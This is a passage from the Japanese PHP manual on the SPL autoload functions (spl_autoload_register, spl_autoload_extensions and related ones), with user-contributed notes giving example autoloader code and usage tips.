/*    throws: Fatal error: Cannot redeclare class Parent in /parent.class.php on line 2    */
    spl_autoload_call('Parent');

?>


spl_autoload 用のデフォルトの拡張子を登録し、それを返す

  • ≪ spl_autoload_call
  • spl_autoload_functions ≫
  • PHP Manual
  • SPL 関数
  • spl_autoload 用のデフォルトの拡張子を登録し、それを返す

spl_autoload_extensions

(PHP 5 >= 5.1.0, PHP 7)

spl_autoload_extensions — spl_autoload 用のデフォルトの拡張子を登録し、それを返す

説明

spl_autoload_extensions ( string $file_extensions = ? ) : string

この関数は、__autoload() 用の代替関数である spl_autoload() が使用するファイル拡張子を変更したり調べたりします。

注意: ファイルの拡張子の間にスペースを入れるべきではありません。

パラメータ

file_extensions

引数なしでコールした場合は、現在の拡張子一覧をカンマ区切りで返します。 ファイル拡張子を変更するには、 新しい拡張子一覧をカンマ区切り文字列で表したものを引数に指定して、 この関数を実行します。

返り値

spl_autoload() のデフォルト拡張子の一覧をカンマ区切り形式で返します。

例

例1 spl_autoload_extensions() の例

<?php
spl_autoload_extensions(".php,.inc");
?>

User Contributed Notes

dantedantas at gmail dot com 05-Jul-2017 09:46
The order of the extensions influence the velocity of the reply. For example:

spl_autoload_extensions(".php, .inc");

is more fast than:

spl_autoload_extensions(".inc, .php");

Check out this example:

Some class files:

ClassA.php
<?php class ClassA { var $val = 'Hello from class "ClassA"'; } ?>
ClassB.php
<?php class ClassB { var $val = 'Hello from class "ClassB"'; } ?>
ClassC.php
<?php class ClassC { var $val = 'Hello from class "ClassC"'; } ?>
ClassD.php
<?php class ClassD { var $val = 'Hello from class "ClassD"'; } ?>
ClassE.php
<?php class ClassE { var $val = 'Hello from class "ClassE"'; } ?>

1. Simple:
<?php
// default priority: .inc .php
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 4.2 miliseconds
?>

2. Change priority:
<?php
spl_autoload_extensions('.php,.inc');
// new priority: .php .inc
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 1.4 miliseconds
?>
pim dot stoit at gmail dot com 09-May-2016 06:00
Extensions doesn't have to start with a dot, spl_autload() will simply append whatever you supply to the basename. The following example will try to load "test.php" first, and "test/index.php" as well:

spl_autoload_register('.php,/index.php');
spl_autoload('Test');


すべての登録済み __autoload() 関数を返す

  • ≪ spl_autoload_extensions
  • spl_autoload_register ≫
  • PHP Manual
  • SPL 関数
  • すべての登録済み __autoload() 関数を返す

spl_autoload_functions

(PHP 5 >= 5.1.0, PHP 7)

spl_autoload_functions — すべての登録済み __autoload() 関数を返す

説明

spl_autoload_functions ( ) : array

すべての登録済み __autoload() 関数を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

すべての登録済み __autoload 関数を配列で返します。 autoload キューが有効になっていない場合は、false が返されます。 関数が何も登録されていない場合は、空の配列が返されます。

User Contributed Notes

124307954 at qq dot com 01-Mar-2019 06:01
<?php
spl_autoload_register(function ($name) {
    echo "Want to load $name.\n";

});

spl_autoload_register(function($className) {
    var_dump($className);
});

function unregister($className) {
    var_dump($className.' i will be the first');
}

spl_autoload_register('unregister');

var_dump(spl_autoload_functions());

===================

array(3) {
  [0]=>
  object(Closure)#1 (1) {
    ["parameter"]=>
    array(1) {
      ["$name"]=>
      string(10) "<required>"
    }
  }
  [1]=>
  object(Closure)#2 (1) {
    ["parameter"]=>
    array(1) {
      ["$className"]=>
      string(10) "<required>"
    }
  }
  [2]=>
  string(10) "unregister"
}
dantedantas at gmail dot com 05-Jul-2017 11:14
If you use an anonymous function, it will return the object that are expected.

spl_autoload_register(function ($myclass){
    $keyclass = substr($myclass, 0, 1);

    switch ($keyclass) {
        case 'c':
            if (file_exists("class".DIRECTORY_SEPARATOR.$myclass.".php") === true)
                require_once ("class".DIRECTORY_SEPARATOR.$myclass.".php");
            break;
        case 'i':
            if (file_exists("interface".DIRECTORY_SEPARATOR.$myclass.".php") === true)
                require_once ("interface".DIRECTORY_SEPARATOR.$myclass.".php");
            break;
        case 'a':
            if (file_exists("abstract".DIRECTORY_SEPARATOR.$myclass.".php") === true)
                require_once ("abstract".DIRECTORY_SEPARATOR.$myclass.".php");
            break;
        default:
            if (file_exists($myclass.".php") === true)
                require_once ($myclass.".php");
    }

/******************************/

var_dump(spl_autoload_functions()) return:

array(1) {
  [0]=>
  object(Closure)#1 (1) {
    ["parameter"]=>
    array(1) {
      ["$myclass"]=>
      string(10) "<required>"
    }
  }
}


指定した関数を __autoload() の実装として登録する

  • ≪ spl_autoload_functions
  • spl_autoload_unregister ≫
  • PHP Manual
  • SPL 関数
  • 指定した関数を __autoload() の実装として登録する

spl_autoload_register

(PHP 5 >= 5.1.0, PHP 7)

spl_autoload_register — 指定した関数を __autoload() の実装として登録する

説明

spl_autoload_register ( callable $autoload_function = ? , bool $throw = true , bool $prepend = false ) : bool

指定した関数を、spl が提供する __autoload キューに登録します。 キューがまだアクティブになっていない場合は、まずアクティブにします。

もしあなたのコード中に __autoload() 関数が存在するのなら、
それを明示的に __autoload キューに登録しなければなりません。
なぜなら、spl_autoload_register() は、
spl_autoload() あるいは spl_autoload_call() によって
__autoload() 関数のエンジンキャッシュを効率的に置き換えるからです。

複数の autoload 関数が必要となる場合でも spl_autoload_register() は対応できます。この関数は autoload 関数のキューを作成し、 定義された順にそれを実行していきます。一方 __autoload() は、一度しか定義できません。

パラメータ

autoload_function

登録したい autoload 関数。 パラメータが指定されなかった場合は、デフォルト実装である spl_autoload() が登録されます。

throw

このパラメータは、 spl_autoload_register() が autoload_function を登録できなかったときに例外をスローするかどうかを指定します。

prepend

true の場合、spl_autoload_register() はキューの最後に追加するのではなく先頭に追加します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 spl_autoload_register() を __autoload() 関数の代わりに使う例

<?php

// function __autoload($class) {
//     include 'classes/' . $class . '.class.php';
// }

function my_autoloader($class) {
    include 'classes/' . $class . '.class.php';
}

spl_autoload_register('my_autoloader');

// あるいは、PHP 5.3.0 以降なら無名関数を使えます
spl_autoload_register(function ($class) {
    include 'classes/' . $class . '.class.php';
});

?>

例2 spl_autoload_register() でクラスをロードしない例

<?php

namespace Foobar;

class Foo {
    static public function test($name) {
        print '[['. $name .']]';
    }
}

spl_autoload_register(__NAMESPACE__ .'\Foo::test'); // PHP 5.3.0 以降

new InexistentClass;

?>

上の例の出力は、 たとえば以下のようになります。

[[Foobar\InexistentClass]]
Fatal error: Class 'Foobar\InexistentClass' not found in ...

参考

  • __autoload() - 未定義のクラスのロードを試みる

User Contributed Notes

n0mAd at example dot com 24-Dec-2017 07:49
If you need to register the function when using namespaces, use the __NAMESPACE__ constant to define the name.

<?php

namespace Foobar;

spl_autoload_register('MyFunction'); // incorrect
spl_autoload_register('\MyFunction');// incorrect
spl_autoload_register(__NAMESPACE__ . '\MyFunction'); // correct

?>
nemanja 26-Jul-2017 08:25
Even when autoloading (SPL) is used, class inheritance does not seem to work. Simply the PHP engine is unable to find parent (inherited) class. PHP 5.6 and 7.0 behave exactly same on this, which beats the purpose of autoloading.

And IMHO it's easy to fix as the autoloader is able to find all first level classes w/o problems, it just needs to follow same path recursively on parents too.

<?php
//Using default SPL autoloader, with namespaces mapping 1:1 to directory structure, with file names being all lowercase.
//This works with first level classes only, for inheritance it does NOT work, it cannot find parent classes.
spl_autoload_register();

//This is ugly but working code if you want to be able to autoload parent classes too.
spl_autoload_register(function ($class){
    require_once __DIR__ . '/' . strtolower(str_replace('\\', '/', $class) . '.php');
});
rnealxp at yahoo dot com 27-May-2017 06:58
I now utilize spl_autoload_register and there's no turning back. So let me gather here for you what I've learned...
1.) the issue mentioned in these docs about case-sensitivity of filenames (Windows vs Linux/Mac): it only comes into play if you don't provide your own custom function as an argument when calling spl_autoload_register. Your function is to accept a single argument which will be the class name that your code is currently trying to access. I observe that the class name comes in with the same letter-casing as that you are actually using in your code base (mixed-case or not). I am not doing/using namespaces, but as a best practice, and to make your implementation straight-forward and predictable, go with fileName===className (1:1).
2.) I often refactor my code-base's directory structure as my code base morphs. I'm not using namespaces, but even if I were, I would want a decoupling between my namespace hierarchy and my directory structure hierarchy. I like my directory hierarchies to be intuitive for getting to code I want to work with. To save myself from having to manually tell my autoloader the path to each file/class, I cache a couple of arrays in static variables that store just the file/class name in the one array and the folder path to the file in the other. After the cache (static vars) have been set on the first call to my function, it's just a matter of looking up in the filename array. For safety, and to be problem-free, no two php filenames should be identical across all of your directory hierarchy (your namespace)--I favor this practice anyways, and accordingly, I favor unique class names across my single namespace (despite it not yet explicitly defined). I did build in a check in my function to ensure all php file names/classes are unique.
3.) I converted many, many files that once had sets of functions in the global space to *abstract classes* that have private static variables and methods and of course also public static methods. So those sets of functions are now encapsulated in objects, and those objects are now auto-loaded. Simply for this benefit I will never again have a function in the global space other than my auto-loader function and other exceptions such as that.
4.) My auto-loader function uses only built-in php language constructs and operations and has no outside dependencies.
5.) If you utilize the function class_exists() in your codebase somewhere, realize that unless you are passing the second arg as false, you will trigger the autoloader to load that class. I stumbled on this of course. My use-case is that I don't want the class loaded: I only wanted to take some action if the class was being used (in an error-handler method).
6.) If you use the function method_exists(), you will definitely trigger the class to be loaded (which makes sense since you have already decided to drill down to looking for a specific method).
7.) I credit someone else's idea here: I also elected to call an init() method for the class being loaded should it exist. This saves me from having to manually call from the outside, let alone managing how and from where the call should be made. It is so useful to get your object set up and ready to do work in an automated fashion such as this.
8.) as another said, I also use require() and not require_once() as the first is enough to generate an error and if already loaded the function will not have been called.
9.) If for some reason I fail to find a class name in my cached arrays, I knowingly still call require(), passing the class name I had not accounted for in order to generate and reveal the problem (which of course is not anticipated!).
10.) Again, I ensure uniqueness across all class names. If I observe non-uniqueness, I again do a faulty call to require() like this: require('FoundMultiplesOfClassFile.php'); to reveal the problem. (I don't yet, and you likely should not, have any sophisticated error-handler registered so this is as good as anything else to me).
joneschrisan at aol dot com 05-Feb-2016 04:11
Looks like on the latest update of debian php passing no params to spl_autoload doesn't work on linux any more.

It is failing to replace the \'s in the namespace with /'s for file paths.
kakkau at grr dot la 28-Sep-2015 05:11
A note on registering autoloading functions with additional parameters.

./alf.home.php
<?php
/*
 * class containing an autoloading function alias ALF :)
 */
class ALF {
  public function haaahaaahaaa($class = "ALF", $param = "Melmac") {
    echo "I am ".$class." from ".$param.".\n";
  }
}
?>

./kate.melmac.php
<?php
require_once("alf.home.php");
/*
 * the normal way is to get ALF
 * and register an autoloading function
 */
$alf = new ALF();
spl_autoload_register(array($alf,'haaahaaahaaa'));
$alf->haaahaaahaaa(); // ALF is from Melmac :)
/*
 * now lets try to autoload a class
 */
@$kate = new Kate(); // this throws a fatal error because
                     // Kate is NOT from Melmac :)
?>
I am ALF from Melmac.
I am Kate from Melmac.

./kate.earth.php
<?php
require_once("alf.home.php");
/*
 * BUT what if we want to correct Kates origin ?
 *     How can one pass parameters to an autoloading function
 *     upon registering?
 *
 * spl_autoload_register is not suitable for that
 *   but we can try is to define a callable during registration
 */
spl_autoload_register(function($class){
  call_user_func(array(new ALF(),'haaahaaahaaa'), $class, "Earth"); });
/*
 * now lets try again to autoload a class
 * Kate will still not be found but we corrected her origin :)
 */
@$kate = new Kate(); // Kate is from Earth :)
/*
 * NOTE: that you cannot pass $this or another object created
 *       outside of the callable context using the
 *       registering way above. therefor you should swap your autoloading
 *       function to a seperate class as done at the beginning with ALF.
 *
 * NOTE: you may not able to unregister your autoloading function
 *       directly as an instance was created in another context
 */
?>
I am Kate from Earth.
eyeofmidas at gmail dot com 12-Aug-2015 03:57
When switching from using __autoload() to using spl_autoload_register keep in mind that deserialization of the session can trigger class lookups.

This works as expected:
<?php
session_start();
function __autoload($class) {
...
}
?>

This will result in "__PHP_Incomplete_Class_Name" errors when using classes deserialized from the session.
<?php
session_start();
function customAutoloader($class) {
...
}
spl_autoload_register("customAutoloader");
?>

So you need to make sure the spl_autoload_register is done BEFORE session_start() is called.

CORRECT:
<?php
function customAutoloader($class) {
...
}
spl_autoload_register("customAutoloader");
session_start();
?>
iam at thatguy dot co dot za 08-May-2015 07:19
<?php

    // Example to auto-load class files from multiple directories using the SPL_AUTOLOAD_REGISTER method.
    // It auto-loads any file it finds starting with class.<classname>.php (LOWERCASE), eg: class.from.php, class.db.php
    spl_autoload_register(function($class_name) {

        // Define an array of directories in the order of their priority to iterate through.
        $dirs = array(
            'project/', // Project specific classes (+Core Overrides)
            'classes/', // Core classes example
            'tests/',   // Unit test classes, if using PHP-Unit
        );

        // Looping through each directory to load all the class files. It will only require a file once.
        // If it finds the same class in a directory later on, IT WILL IGNORE IT! Because of that require once!
        foreach( $dirs as $dir ) {
            if (file_exists($dir.'class.'.strtolower($class_name).'.php')) {
                require_once($dir.'class.'.strtolower($class_name).'.php');
                return;
            }
        }
    });
xavier dot bouhours at free dot fr 03-Mar-2015 03:55
// Get last class version

    if( !function_exists('classAutoLoader') )
    {
        function classAutoLoader($className)
        {
            $classFiles     = array() ;
            $classFile     = FALSE ;
            $classDir        = __DIR__ .'/'  ;
            // Get all files
            $files         = scandir( $classDir ) ;
            foreach ( $files as $url )
            {
                // Verifie if file is : Name + class + version + extension
                if( is_file($classDir.$url) && preg_match('/([^\.]+)\.class\.([\d\.]+)\.(.+)$/', $url, $m ) )
                {
                    // Verifie finded file
                    if( $className == $m[1] )
                    {
                        // Get previous version or init
                        $previous = isset( $classFiles[$m[1]] ) ? $classFiles[$m[1]] : 0 ;

                        // Get last version
                        if( $previous<$m[2] )
                        {
                            $classFiles[ $m[1] ] = $m[2] ; // version
                            $classFile = $classDir.$url ;
                        }
                    }
                }
            } ;
            if( !class_exists($className) ) include( $classFile );
        }
    }
    spl_autoload_register('classAutoLoader') ;
neolium at gmail dot com 13-Feb-2015 01:00
This autoload will find every class you call if you put each one in a different file.

It walks into every directory recursivly from the root you specify in the $root var.

You can specify the folders ou don't want to walk in (e.g you won't find any class in a 'view' folder on an MVC project) in the $dir_to_not_look_in array;

spl_autoload_register(function($class) {

    $root = 'my/root/path';
    $file = $class . '.php';
    $dir_to_not_look_in = array($directories, $to, $not, $look, $in);

    if(!function_exists('load')) {
      function load($dir, $file) {
            if(file_exists($dir . '/' . $file)) {
                require_once $dir . '/' . $file;
            } else {
                foreach(scandir($dir) as $value) {
                    if(is_dir($dir. '/' . $value) && !in_array($value, $dir_to_no_look_in))
                        load($dir. '/' . $value, $file);
                }
            }
        };
    }

    load($root, $file);

});
nmmm at nmmm dot nu 04-Jun-2014 02:17
spl_autoload_register() can be used with include_path.

suppose in current directory we have directory "a", and inside there is directory "test" and inside is test.php :

<?
namespace test;
class test{
        function __construct(){
                echo "Test created\n";
        }
}
?>

then we can use following code to load the class:
<?
ini_set("include_path", "./a/");

spl_autoload_register();

$t = new \test\test();
?>
hajo-p 05-Jan-2014 05:25
if you have a dir-structure like "/abc/def/ghi", your index.php lies in the top directory, but you want to use namespaces starting with "def" or "ghi":

you can switch the namespace root directory of php with e.g. set_include_path(__DIR__ . '/abc') and afterwards define + use your namespaces with the simple spl_autoload_register() function without any arguments supplied.

remember that php handlers "cli" and "cli-server" are special cases.
Kurd the Great 01-Oct-2013 04:13
if(!defined('BASE_PATH')) {
    define('BASE_PATH', dirname(__FILE__) . '/');
    require BASE_PATH . 'Autoloader.php';
    Autoloader::Register();
}

class Autoloader
{
    public static function Register() {
        return spl_autoload_register(array('Autoloader', 'Load'));
    }

    public static function Load($strObjectName) {
        if(class_exists($strObjectName) === false) {
            return false;
        }

        $strObjectFilePath = BASE_PATH . $strObjectName . '.php';

        if((file_exists($strObjectFilePath) === false) || (is_readable($strObjectFilePath) === false)) {
            return false;
        }

        require($strObjectFilePath);
    }
}
phil at propcom dot co dot uk 18-Sep-2013 08:36
It is important to note that the autoloader will NOT be called if an E_STRICT error triggers the error handler which, in turn, tries to use classes which are not yet loaded.

In this instance, you should manually load classes required by the error handler.
ali dot taheri dot m at gmail dot com 24-Jul-2013 02:23
I've made a little function that makes and registers a loader that seems to be safe and reliable although I'm not sure but it feels like a good idea to share, it took me some time to come up with it I hope it saves someone some time,

<?php

function Loader($root = "") {
    $loaderFunction = create_function('$class', 'include  "' . $root . '$class.php";');
    spl_autoload_register($loaderFunction);
}

?>

if you have a file system exactly like your directory tree this function works perfectly, I haven't tested it on unix, but on windows, the default loader fails when your webpage isn't in the root directory, this makes sure that it won't cause a problem if your webpage is on a subdir too just pass ../ or more drived ../../ as root and it will work like a charm, note that i couldn't use anonymous functions because then the $root variable wouldn't have the same scope as the Loader function, so the function must be created on the fly. this is a good example of this functions usage

your class:
root/classes/support/classic.php
<?php

    namespace classes/support;

    class classic {
         // class def
    }

?>

root/support/index.php
<?php

Loader('../');

use classes/support/classic;

$cls = new classic();
//use $cls
?>

the loader will make a function like this:
<?php

function($class) {
    include  "../$class.php";
}

//when and when the class is needed this will run the script which is indeed what we need:

include '../classes/support/classic.php';

?>

hope this helps folks;
sebastian at 34n dot de 24-May-2013 09:49
You can also use it like this:

> spl_autoload_register ( array( new AutoloaderClass, 'method') );

or in PHP > 5.3:

> spl_autoload_register ( [ new My\Namespace\Autoloader, 'method'] );

On this way you dont have to create a variable, which is used once.
a dot schaffhirt at sedna-soft dot de 07-Apr-2013 01:42
What I said here previously is only true on Windows. The built-in default autoloader that is registered when you call spl_autoload_register() without any arguments simply adds the qualified class name plus the registered file extension (.php) to each of the include paths and tries to include that file.

Example (on Windows):

include paths:
- "."
- "d:/projects/phplib"

qualified class name to load:
network\http\rest\Resource

Here's what happens:

PHP tries to load
'.\\network\\http\\rest\\Resource.php'
-> file not found

PHP tries to load
'd:/projects/phplib\\network\\http\\rest\\Resource.php'
-> file found and included

Note the slashes and backslashes in the file path. On Windows this works perfectly, but on a Linux machine, the backslashes won't work and additionally the file names are case-sensitive.

That's why on Linux the quick-and-easy way would be to convert these qualified class names to slashes and to lowercase and pass them to the built-in autoloader like so:

<?php
spl_autoload_register(
  function ($pClassName) {
    spl_autoload(strtolower(str_replace("\\", "/", $pClassName)));
  }
);
?>

But this means, you have to save all your classes with lowercase file names. Otherwise, if you omit the strtolower call, you have to use the class names exactly as specified by the file name, which can be annoying for class names that are defined with non-straightforward case like e. g. XMLHttpRequest.

I prefer the lowercase approach, because it is easier to use and the file name conversion can be done automatically on deploying.
daniel at amnistechnology dot com 17-Oct-2012 09:57
Cleverly - and usefully - I have noticed that (on PHP 5.3 at least) these autoloaders "kick in" even when you call a public static method of an as-yet-unloaded all static class.
Anonymous 03-Feb-2012 04:52
Note that when specifying the third parameter (prepend), the function will fail badly in PHP 5.2
(delphists) at (apollo) dot (lv) 01-Feb-2011 01:57
When using spl_autoload_register() with class methods, it might seem that it can use only public methods, though it can use private/protected methods as well, if registered from inside the class:
<?php

    class ClassAutoloader {
        public function __construct() {
            spl_autoload_register(array($this, 'loader'));
        }
        private function loader($className) {
            echo 'Trying to load ', $className, ' via ', __METHOD__, "()\n";
            include $className . '.php';
        }
    }

    $autoloader = new ClassAutoloader();

    $obj = new Class1();
    $obj = new Class2();

?>

Output:
--------
Trying to load Class1 via ClassAutoloader::loader()
Class1::__construct()
Trying to load Class2 via ClassAutoloader::loader()
Class2::__construct()
anthon at piwik dot org 04-Jul-2010 09:02
Think twice about throwing an exception from a registered autoloader.

If you have multiple autoloaders registered, and one (or more) throws an exception before a later autoloader loads the class, stacked exceptions are thrown (and must be caught) even though the class was loaded successfully.
sebastian dot krebs at kingcrunch dot de 24-Mar-2010 10:54
It seems, that  spl_autoload tests, if the class exists, after calling every registered loader. So it breaks the chain, if the class exists and will not call the other loaders

<?php
function a ($c) {
  echo "a\n";
  class Bla {} // Usually "include 'path/to/file.php';"
}
function b ($c) {
  echo "b\n";
}
spl_autoload_register('a');
spl_autoload_register('b');

$c = new Bla();
?>
Anonymous 16-Mar-2010 08:30
Be careful using this function on case sensitive file systems.

<?php
spl_autoload_extensions('.php');
spl_autoload_register();
?>

I develop on OS X and everything was working fine. But when releasing to my linux server, none of my class files were loading. I had to lowercase all my filenames, because calling a class "DatabaseObject" would try including "databaseobject.php", instead of "DatabaseObject.php"

I think i'll go back to using the slower __autoload() function, just so i can keep my class files readable
rayro at gmx dot de 04-Jan-2010 03:14
It is never a good idea and a unconscienable concept to create the classes in the autoload function via eval.
It should be a nice feature with these Exception, but i think anyone is able to handle it without this method although. Atm i dont realize for what this is good for...

As i might note, class_exists() will ever define the classes u only want to check for existance, and will therefor ever return true:
<?php
function EvalIsEvil($class) {
  eval('class '.$className.'{}');
}
spl_autoload_register('EvalIsEvil');
if (class_exists($s="IsMyModuleHere")) {
  // this is no module, but get there with eval()...
  return new $s();
}
?>
a dot schaffhirt at sedna-soft dot de 27-Jul-2009 07:05
Good news for PHP 5.3 users with namespaced classes:

When you create a subfolder structure matching the namespaces of the containing classes, you will never even have to define an autoloader.

<?php
    spl_autoload_extensions(".php"); // comma-separated list
    spl_autoload_register();
?>

It is recommended to use only one extension for all classes. PHP (more exactly spl_autoload) does the rest for you and is even quicker than a semantically equal self-defined autoload function like this one:

<?php
    function my_autoload ($pClassName) {
        include(__DIR__ . "/" . $pClassName . ".php");
    }
    spl_autoload_register("my_autoload");
?>

I compared them with the following setting: There are 10 folders, each having 10 subfolders, each having 10 subfolders, each containing 10 classes.

To load and instantiate these 1000 classes (parameterless no-action constructor), the user-definded autoload function approach took 50ms longer in average than the spl_autoload function in a series of 10 command-line calls for each approach.

I made this benchmark to ensure that I don't recommend something that could be called "nice, but slow" later.

Best regards,
stanlemon at mac dot com 28-Sep-2007 10:20
Editorial note: The appropriate PHP bug that requests behavior this function emulates is http://bugs.php.net/bug.php?id=42823 . This function does NOT work if there has been an array($obj, 'nonStaticMethod') registered in the autoload stack--while the autoload will be removed, it will be re-registered incorrectly.

The spl_autoload_register() method registers functions in its stack in the order that spl_autoload_register() was called, and subsequently if you want an autoload function to override previous autoload functions you will either need to unregister the previous ones or change the order of the autoload stack.

For example, say in your default implementation of an autoload function you throw an exception if the class cannot be found, or perhaps a fatal error.  Later on in your code you add a second implementation of an autoload function which will load a library that the previous method would fail on.  This will not call the second autoloader method first, but rather will continue to error out on the first method.

As previously mentioned, you can unregister the existing autoloader that errors out, or you can create a mechanism for unregistering and re-registering the autoloaders in the order you want.

Here is a sample/example of how you might consider re-registering autoloaders so that the newest autoloader is called first, and the oldest last:

<?php

// Editorial notes: Small bug and compatibility fixes
// added to the function

function spl_autoload_preregister( $autoload ) {
    // No functions currently in the stack.
    if ( ($funcs = spl_autoload_functions()) === false ) {
        spl_autoload_register($autoload);
    } else {
        // Unregister existing autoloaders...
        $compat =
            version_compare(PHP_VERSION, '5.1.2', '<=') &&
            version_compare(PHP_VERSION, '5.1.0', '>=');
        foreach ($funcs as $func) {
            if (is_array($func)) {
                // :TRICKY: There are some compatibility issues and some
                // places where we need to error out
                $reflector = new ReflectionMethod($func[0], $func[1]);
                if (!$reflector->isStatic()) {
                    throw new Exception('
                        This function is not compatible
                        with non-static object methods due to PHP Bug #44144.
                    ');
                }
                // Suprisingly, spl_autoload_register supports the
                // Class::staticMethod callback format, although call_user_func doesn't
                if ($compat) $func = implode('::', $func);
            }
            spl_autoload_unregister($func);
        }

        // Register the new one, thus putting it at the front of the stack...
        spl_autoload_register($autoload);

        // Now, go back and re-register all of our old ones.
        foreach ($funcs as $func) {
            spl_autoload_register($func);
        }
    }
}

?>

Note: I have not tested this for overhead, so I am not 100% sure what the performance implication of the above example are.
harvey dot NO_SPAM dot robin at gmail dot com 10-Feb-2007 05:54
This function is smart enough not to add the same loader twice.  This seems to work for all of the different loader formats.  Example:

<?php
class ALoader
{
  static function load($class) { return true; }
}

function anotherLoader($class) {
  return true;
}

$F = new ALoader;

spl_autoload_register(array('ALoader', 'load'));
spl_autoload_register(array('ALoader', 'load'));
spl_autoload_register(array($F, 'load'));
spl_autoload_register('anotherLoader');
spl_autoload_register('anotherLoader');
var_dump(spl_autoload_functions());

/*
 * Results on PHP5.2 CLI, linux.
 * array(2) {
 *  [0]=>
 *  array(2) {
 *    [0]=>
 *    string(7) "ALoader"
 *    [1]=>
 *    string(4) "load"
 *  }
 *  [1]=>
 *  string(13) "anotherLoader"
 * }
 */
?>
florent at mediagonale dot com 14-Nov-2006 01:19
If your autoload function is a class method, you can call spl_autoload_register with an array specifying the class and the method to run.

* You can use a static method :
<?php

class MyClass {
  public static function autoload($className) {
    // ...
  }
}

spl_autoload_register(array('MyClass', 'autoload'));
?>

* Or you can use an instance :
<?php
class MyClass {
  public function autoload($className) {
    // ...
  }
}

$instance = new MyClass();
spl_autoload_register(array($instance, 'autoload'));
?>


指定した関数の、__autoload() の実装としての登録を解除する

  • ≪ spl_autoload_register
  • spl_autoload ≫
  • PHP Manual
  • SPL 関数
  • 指定した関数の、__autoload() の実装としての登録を解除する

spl_autoload_unregister

(PHP 5 >= 5.1.0, PHP 7)

spl_autoload_unregister — 指定した関数の、__autoload() の実装としての登録を解除する

説明

spl_autoload_unregister ( mixed $autoload_function ) : bool

spl が提供する __autoload キューから、関数を削除します。 キューがアクティブであり、かつこの関数の削除後にキューが空になった場合は キューが非アクティブ化されます。

この関数の結果として autoload キューが非アクティブになったとした場合に、 既存の __autoload 関数が再アクティブ化されることはありません。

パラメータ

autoload_function

登録を解除したい autoload 関数。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

edgarortegaramirez at example dot com 18-May-2013 07:13
$functions = spl_autoload_functions();
    foreach($functions as $function) {
        spl_autoload_unregister($function);
    }

A nice way to unregister all functions.
Julien B. 07-Jul-2009 09:31
Restore the binding to __autoload after using a spl_autoload_register() call

<?php
spl_autoload_register(array('Doctrine', 'autoload'));

// some process

spl_autoload_unregister(array('Doctrine', 'autoload'));

// but now the old __autoload is not triggered anymore
// you need to use :
spl_autoload_register('__autoload');

// but this will throw a LogicExeption if the __autoload
// function is not defined yet, so use:
function autoload__ ( $className ) {
    if ( function_exists('__autoload'))
        __autoload($className);
}

spl_autoload_register('autoload__');

?>

So you can define your old __autoload in another file for example

May helps some folks in this catch 22


__autoload() のデフォルト実装

  • ≪ spl_autoload_unregister
  • spl_classes ≫
  • PHP Manual
  • SPL 関数
  • __autoload() のデフォルト実装

spl_autoload

(PHP 5 >= 5.1.0, PHP 7)

spl_autoload — __autoload() のデフォルト実装

説明

spl_autoload ( string $class_name , string $file_extensions = spl_autoload_extensions() ) : void

この関数は、__autoload() のデフォルト実装として使用されることを意図しています。 ほかに何も指定されておらず、autoload_register() がパラメータなしでコールされた場合には、 その後の __autoload() のコール時にはこの関数が使用されます。

パラメータ

class_name

インスタンスを作成する小文字のクラス名 (および名前空間名)。

file_extensions

デフォルトでは、クラス名を小文字にして .inc および .php を拡張子につけたファイル名のファイルが存在するかどうかを すべてのインクルードパスから探します。

返り値

値を返しません。

エラー / 例外

クラスが見つからず、かつそれ以外にオートローダーが登録されていない場合に LogicException をスローします。

User Contributed Notes

EVODelavega 15-Apr-2014 08:39
Just thought I'd react to simast at gmail dot com's note: While he has a point in saying C outperforms PHP, his suggestion is micro-optimization. I'm not 100% against micro-optimizing code, but if you do, go all the way:

<?php

    // Your custom class dir
    define('CLASS_DIR', 'class/')

    // Add your class dir to include path
    set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);

This adds the include path to THE END of the paths PHP will scan for the class file, resulting in a bunch of misses (file-not-found's) before actually looking into the CLASS_DIR.
A more sensible approach, then would be to write

    set_include_path(
        CLASS_DIR.
        PATH_SEPARATOR,
        get_include_path()
    );
Philip 05-Nov-2013 03:05
The documentation is a little unclear when it says: "The lowercased name of the class (and namespace) being instantiated".

What it actually means is that the argument can be in whatever case you want, but it will be converted to lowercase before PHP starts looking for files. This is probably because in PHP, class names are case-insensitive (as well as function names and namespaces) so it needs to convert to some canonical format.
noum77 30-Jul-2013 06:23
Mine is simplier, and without include/require:

function autoload($className) {
    set_include_path('./library/classes/');
    spl_autoload($className); //replaces include/require
}
spl_autoload_extensions('.class.php');
spl_autoload_register('autoload');
contato at felipebarth dot com dot br 23-Sep-2012 09:14
<?php
/*
* defined function responsible for loading class,
* replacing the old __ autoload.
* ROOT is constant of the path root of the system
*/
spl_autoload_extensions('.class.php');
spl_autoload_register('loadClasses');

 function loadClasses($className)
 {

    if( file_exists(ROOT_DIR.DS.'controller/'.$className.'.class.php' ) ){
        set_include_path(ROOT_DIR.DS.'controller'.DS);
        spl_autoload($className);
    }
    elseif( file_exists('model/'.$className.'.class.php' ) ){
        set_include_path(ROOT_DIR.DS.'model'.DS);
        spl_autoload($className);
    }elseif( file_exists('view/'.$className.'.class.php' ) ){
        set_include_path(ROOT_DIR.DS.'view'.DS);
        spl_autoload($className    );
    }else
    {
        set_include_path(ROOT_DIR.DS.'lib'.DS);
        spl_autoload($className    );
    }
 }
?>
Ivan Stojmenovic 06-Jun-2012 01:19
One small example that shows how you can use spl_autoload function in your MVC, Framewrk's applications. For example, will use the Loader class.

<?php

 class Loader
 {

    /**
     * Controller Directory Path
     *
     * @var Array
     * @access protected
     */
    protected $_controllerDirectoryPath = array();

    /**
     * Model Directory Path
     *
     * @var Array
     * @access protected
     */
    protected $_modelDirectoryPath = array();

    /**
     * Library Directory Path
     *
     * @var Array
     * @access protected
     */
    protected $_libraryDirectoryPath = array();

    /**
     * Constructor
     * Constant contain my full path to Model, View, Controllers and Lobrary-
     * Direcories.
     *
     * @Constant MPATH,VPATH,CPATH,LPATH
     */

    public function __construct()
    {
        $this->modelDirectoryPath      = MPATH;
        $this->viewDirectoryPath        = VPATH;
        $this->controllerDirectoryPath = CPATH;
        $this->libraryDirectoryPath     = LPATH;

        spl_autoload_register(array($this,'load_controller'));
        spl_autoload_register(array($this,'load_model'));
